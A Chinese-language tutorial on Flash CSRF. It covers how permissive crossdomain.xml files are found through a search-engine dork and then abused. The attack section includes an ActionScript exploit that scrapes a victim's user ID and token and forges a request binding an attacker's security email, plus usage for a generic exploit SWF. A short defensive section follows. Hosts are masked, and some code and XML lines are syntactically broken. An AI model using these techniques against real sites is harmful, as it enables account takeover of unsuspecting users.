Flash CSRF


0x00 Flash CSRF 名词解释
0x01 Flash CSRF形成的原因
0x02 Flash CSRF可以干些什么
0x03 Flash CSRF如何利用
0x04 Flash CSRF怎么防御

0x00 Flash CSRF名词解释


CSRF(Cross-site request forgery跨站请求伪造,是一种对网站的恶意利用,CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造

0x01 Flash CSRF形成的原因


看看如何寻找Flash CSRF:

首先我们要知道怎么形成CSRF的,CSRF形成的原因大概有以下几种:

Flash跨域权限管理文件Crossdomain.XML设置为允许所有主机/域名跨域对本站进行读写数据

  1. This XML file does not appear to have any style information associated with it. The document tree is shown below.
  2. <cross-domain-policy>
  3. <allow-access-from domain="*"/>
  4. </cross-domain-policy>

Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF

0x02 如何来发现哪些地方存在Flash CSRF


由上面我们得知Flash CSRF是因为跨域权限管理文件配置不当而产生的,所以我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF:

http://www.xxx.com/crossdomain.xml
  1. This XML file does not appear to have any style information associated with it. The document tree is shown below.
  2. <cross-domain-policy>
  3. <allow-access-from domain="*"/>
  4. </cross-domain-policy>

0x02 Flash CSRF可以干些什么


FlashCSRF漏洞查找流程:

Google hack:crossdomain filetype:xml
  1. This XML file does not appear to have any style information associated with it. The document tree is shown below.
  2. <cross-domain-policy>
  3. <allow-access-from domain="*" secure=”true”/>
  4. </cross-domain-policy>

Secure=true的意思是只允许通过安全链接来请求本域的数据<HTTPS>

发现前2个全都是需要用ssl证书加密了之后的网站里面的Flash的文件才能获取本域的内容,考虑可以自己搭建SSL网站,然后调用Flash文件进去不就可以读他们网站的数据和发送post请求,可以找了这么多地方Flash还没有地方可 以插的,在不屑努力下,找到BLOG根目录下面的CrossDomain.xml文件居然允许所有主机的Flash读取本域的数据

0x03 Flash CSRF如何利用


找一个可以插入Flash的地方,插入自己写的Flash,访客访问网页就会执行我们写的脚本

下面来看看Flash CSRF具体利用方法:来制造一个访客访问我们链接的时候,自动设置自己的密保邮箱:

首先添加保密邮箱点提交,然后抓包分析它提交了什么内容,然后来构造我们的Flash CSRF利用代码<没有反CSRFToken>
1、申请保密邮箱,浏览器向服务端发送了一个POST请求,请求地址和参数为:

POST:xxx.xxx.xx/xx.jsp?userid=xxxx&mail=dddd@dddd.com

2、由于我们之前测试保密邮箱得知服务端没有验证Referer,但是页面验证了Token,所以我们就可以直接把POST数据包中的请求地址,参数名,参数值,Token值取出来用于伪造绑定保密邮箱的请求

利用代码:

  1. package {
  2. import flash.display.Sprite;
  3. import flash.events.Event;
  4. import flash.net.*;
  5. import flash.text.TextField;
  6. public class url extends Sprite
  7. {
  8. public function url()
  9. {
  10. //获取当前页面userid/token
  11. var echo_txt:TextField = new TextField();
  12. var targetURL:String = "http://xx.xx.cc";
  13. var request:URLRequest = new URLRequest(targetURL);
  14. request.method = URLRequestMethod.GET;
  15. request.data = "";
  16. sendToURL(request);
  17. var loader:URLLoader=new URLLoader();
  18. loader.addEventListener(Event.COMPLETE,completeHandler);
  19. function completeHandler(event:Event):void{
  20. var userid:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?xxid=(\d+)/)||["",""])[1];
  21. var masthash:String=((loader.data+"").match(/\/xxxx\/mxxxx\.php\?masthash=(\d+)/)||["",""])[1];
  22. echo_txt.text = masthash;
  23. //伪造申请密保邮箱POST请求
  24. var emailtargetURL:String = "http://xxxxxx.xx.cc/xxxx/xxxx.jsp?mark=send";
  25. var emailrequest:URLRequest = new URLRequest(emailtargetURL);
  26. emailrequest.method = URLRequestMethod.POST;
  27. var postdata:Object = new Array();
  28. postdata[0]="[email protected]&xxxx="+xxxxx&"xxxxx="+xxx;
  29. emailrequest.data = postdata[0];
  30. sendToURL(emailrequest);
  31. }
  32. loader.load(request);
  33. }
  34. }
  35. }

0x04 Flash CSRF怎么防御


一句话概括:站点根目录CrossDomain.xml跨域获取信息权限控制好,精确到子域

附一份CrossDomain.xml文件权限配置:

  1. <?xml version="1.0"?>
  2. <cross-domain-policy>
  3. <allow-access-from domain="http://xx.xx.com" secure="true”/>
  4. <allow-access-from domain="http://cc.xx.com" secure="true”/>
  5. </cross-domain-policy>

根据自己的业务需求来更改CrossDomain.xml文件配置,切记精确到子域,这样会大大减少Flash CSRF的风险!

通用Flash CSRF EXP : FlashCSRFexp.swf

使用方法:<真实环境中只需要加载flash文件就会执行其中代码,不过需要改写swf文件>

  1. FlashCSRFexp.swf?url=http://www.xx.xx/x.jsp?&xx=xx&xx=xx&xx=xx&xx=xx 
  2. PS:url=[post请求的地址]&[参数值用&分开]